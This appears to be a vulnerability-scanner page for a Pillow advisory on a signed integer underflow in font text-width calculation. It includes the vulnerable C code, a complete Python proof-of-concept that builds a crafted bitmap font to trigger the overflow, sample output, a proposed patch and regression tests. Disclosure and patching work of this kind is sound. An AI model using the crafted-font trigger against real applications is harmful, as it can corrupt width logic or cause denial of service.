CVE-2026-96641 — Pillow: Reachable undefined behavior in pillow
Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.46%). Schedule for your next planned update.
Does your project use an affected pillow version?
Paste your requirements.txt to check it for CVE-2026-96641 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
Affected Object and Source
Package: Pillow 12.3.0 Source: PyPI sdist pillow-12.3.0.tar.gz SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce Sink: src/_imaging.c:2809:15, xsize += dx
Details
The code in Pillow 12.3.0 is:
for (xsize = 0; *text; text++) {
int dx = self->glyphs[*text].dx;
if (dx > 0 && xsize > INT_MAX - dx) {
PyErr_SetString(PyExc_OverflowError, "Width too large");
return -1;
}
xsize += dx;
}
The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for dx is [-32768, 32767]. The existing check only proves:
dx > 0 => xsize <= INT_MAX - dx
It does not prove the other half of the contract:
dx < 0 => xsize >= INT_MIN - dx
Taking dx = -32768 and repeating it 65,537 times, the mathematical sum is -2,147,516,416, which is less than INT_MIN = -2,147,483,648. On the 65,537th addition, the operation -2147483648 + -32768 is performed, resulting in C signed overflow undefined behavior.
PoC
"""Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.
Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with
the PyC-Contract UBSan build to obtain the exact native diagnostic.
"""
from __future__ import annotations
import struct
from io import BytesIO
import PIL
from PIL import Image, ImageFont
ADVANCE = -(2**15)
CONTROL_REPEAT = 65_536
WITNESS_REPEAT = 65_537
def bitmap_font(advance: int) -> ImageFont.ImageFont:
metrics = bytearray(256 * 20)
glyph_offset = ord("A") * 20
metrics[glyph_offset : glyph_offset + 2] = struct.pack(">h", advance)
font_data = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics)
font = ImageFont.ImageFont()
font._load_pilfont_data(BytesIO(font_data), Image.new("1", (1, 1)))
return font
def main() -> None:
font = bitmap_font(ADVANCE)
print(f"Pillow={PIL.__version__}")
print(f"control_math={ADVANCE * CONTROL_REPEAT}")
print(f"control_return={font.getlength('A' * CONTROL_REPEAT)}")
print(f"witness_math={ADVANCE * WITNESS_REPEAT}")
print(f"witness_return={font.getlength('A' * WITNESS_REPEAT)}")
if __name__ == "__main__":
main()
Observations from a regular 12.3.0 release build:
Pillow=12.3.0
control_math=-2147483648
control_return=0
witness_math=-2147516416
witness_return=2147450880
The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly INT_MIN, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to 2,147,450,880.
Impact
The directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.
Therefore, the current recommended severity rating is "Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model", rather than a memory corruption vulnerability.
Recommended Patch and Regression Tests
It is recommended to extend the overflow check to cover both directions:
if ((dx > 0 && xsize > INT_MAX - dx) ||
(dx < 0 && xsize < INT_MIN - dx)) {
PyErr_SetString(PyExc_OverflowError, "Width too large");
return -1;
}
At a minimum, four test cases should be added:
dx = 32767, repeat = 65538— upper adjacent control (should succeed);dx = 32767, repeat = 65539— should raiseOverflowError;dx = -32768, repeat = 65536— lower adjacent control (should succeed);dx = -32768, repeat = 65537— should raiseOverflowError.
Additionally, it should be verified that exception propagation is consistent across getlength(), getbbox(), getmask(), and the underlying font.getsize().
Advisory Timeline
- First published October 22, 2026 (35 days ago).
- Last revised October 29, 2026 — 7 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip install "pillow>=13.0.0"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| pillow PyPI · Affected: 1.0, 1.1, 1.2, 1.3 (+103 more) | 13.0.0 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-190Integer OverflowMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 6.5 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
References
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rm8-3hmm-39fgWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-96641ADVISORY
- https://github.com/python-pillow/Pillow/pull/10010WEB
- https://github.com/python-pillow/Pillow/commit/80de4be9e38d3a6148dd4d8491eb80cd12b760a4WEB
- https://github.com/python-pillow/PillowPACKAGE
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0WEB
Frequently Asked Questions
- What is CVE-2026-96641?
- Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise. This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 6.5/10).
- How do I check if my project is affected by CVE-2026-96641?
- CVE-2026-96641 affects pillow. It has a 0.5% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-96641 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Exploitation requires specific conditions, or the impact is limited.
This is a below-median EPSS score — only 31.8% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-112403CRITICAL
- CVE-2026-112402HIGH
- CVE-2026-112896HIGH
- CVE-2026-112399HIGH
Pillow: APNG background disposal allocates full canvas before decompression bomb check
- CVE-2026-54058HIGH
Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)
- CVE-2026-112400HIGH
Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS
- CVE-2026-59204HIGH
Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service
- CVE-2026-112899MEDIUM
Pillow: EPS load(scale) lets Ghostscript render past the decompression bomb limit